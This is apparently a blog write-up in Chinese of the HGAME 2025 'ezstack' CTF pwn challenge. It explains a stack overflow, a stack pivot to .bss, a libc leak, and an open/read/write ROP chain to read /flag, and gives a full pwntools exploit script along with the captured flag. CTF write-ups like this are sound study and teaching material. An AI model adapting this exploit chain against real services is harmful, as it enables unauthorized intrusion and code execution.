Hgame2025_week1 Ezstack

迁移bss段,系统调用orw

ezstack

关于本题环境

这题的socket一系列操作相当于创建了一个可以接受多个连接的监听
监听所有IP地址的绑定在端口9999上的进程,而fork()是用来创建子进程的,

alt text

题目给了dockerfilestart.sh,意思让我们自己本地搭个docker容器,不知道原因,先搭吧
我用的是wsl2,安装docker插件的话启动docker desktop自动读取 libc-2.31.so提取出来
alt text

本地启动./vuln之后,vscode跳出
alt text

在脚本中调用gdb.attach(io),通过io=remote(“127.0.0.1”,9999)连接即可,一个shell运行一个shell调试

解析

alt text

保护
alt text

主要函数是这个,80大小和0x60,就是经典栈溢出,但是这里需要16字节的溢出空间明显不够,需要进行栈迁移 寻找一下控制栈的gadget
alt text
找到一个很好的gadget

  1. alt text
    调整溢出后重新进入vuln并迁移到了bss段 payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址

  2. 泄露libc payload = p64(bss + 0x50) + p64(rsi_r15) + p64(write_got) + p64(1) + p64(write_plt) + p64(rsi_r15) + p64(bss) + p64(bss) + p64(read_plt) + p64(ret) + p64(bss - 0x50) + p64(leave_ret) 具体讲一下这里是如何迁移的(栈迁移是一个需要加深印象的难点),这里迁移后将bss加上0x50作为栈上数据后填充rsi和r15用于控制(后续用),调用write函数后就可以将数据存储到bss中,并通过read去读取泄露出了write的实际地址来泄露libc的地址,然后返回

  3. 再次栈迁移准备系统调用read并再次返回到指定bss段位置 payload = p64(rdi) + p64(4) + p64(rsi) + p64(bss - 0x200) + p64(rdx_r12) + p64(0x200) + p64(0x200) + p64(read_plt) + p64(leave_ret) + p64(leave_ret) + p64(bss - 0x200) + p64(leave_ret)

  4. 系统调用并读取flag payload = p64(0) + p64(rax) + p64(2) + p64(rdi) + p64(bss + 192) + p64(rsi) + p64(0) + p64(syscall) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(read_plt) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(write_plt) + b"/flag"

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
io=remote("127.0.0.1",9999)
#db.attach(io)
#io=remote("node1.hgame.vidar.club",30095)

se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num          		:io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia		= lambda                    :io.interactive()

elf=ELF('./vuln')
libc=ELF("./libc-2.31.so")

read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
write_got =elf.got["write"]

bss = elf.bss() + 0x600
rdi = 0x401713
rsi_r15 = 0x401711
rsp_r13_r14_r15 = 0x40170d
leave_ret = 0x401426
ret = 0x40101a
printf = 0x4013E8
vuln = 0x4013D5

start = 0x401290
payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址
ru(b"luck.\n")
se(payload)

payload =p64(bss+0x50)+p64(rsi_r15)+p64(write_got)+p64(1)+p64(write_plt)+p64(rsi_r15)+p64(bss)+p64(bss)+p64(read_plt)+p64(ret)+p64(bss-0x50)+p64(leave_ret) #填充寄存器并迁移到bss段
se(payload)
ru(b"luck.\n")

libc_base = u64(io.recv(6).ljust(8, b'\x00')) - int("0x10e280",16)
print(hex(libc_base))
bss = bss+0x50
rdx_r12 = libc_base + 0x119431 #pop rdx
syscall = libc_base+0x25DC2 #第一个syscall
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()

payload = p64(rdi)+p64(4)+p64(rsi)+p64(bss-
0x200)+p64(rdx_r12)+p64(0x200)+p64(0x200)+p64(
read_plt)+p64(leave_ret)+p64(leave_ret)+p64(bss-
0x200)+p64(leave_ret) #栈迁移
se(payload)

bss = bss-0x200 #开辟bss空间
payload = p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(bss+192)+p64(rsi)+p64(0)+p64(
syscall)+p64(rdi)+p64(5)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x50)+p64(20)+p64(
read_plt)+p64(rdi)+p64(4)+p64(rsi)+p64(bss)+p64(
rdx_r12)+p64(0x50)+p64(20)+p64(write_plt)+b"/flag\x00"
se(payload)

io.interactive()

alt text

hgame{ThlS-1S-4_v3rY_E@5Y-St4ck_Pwn11a9bd4}
ξ( ✿>◡❛) There is an obvious stack overflow here.

本博客已稳定运行
发表了30篇文章 · 总计6万7千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...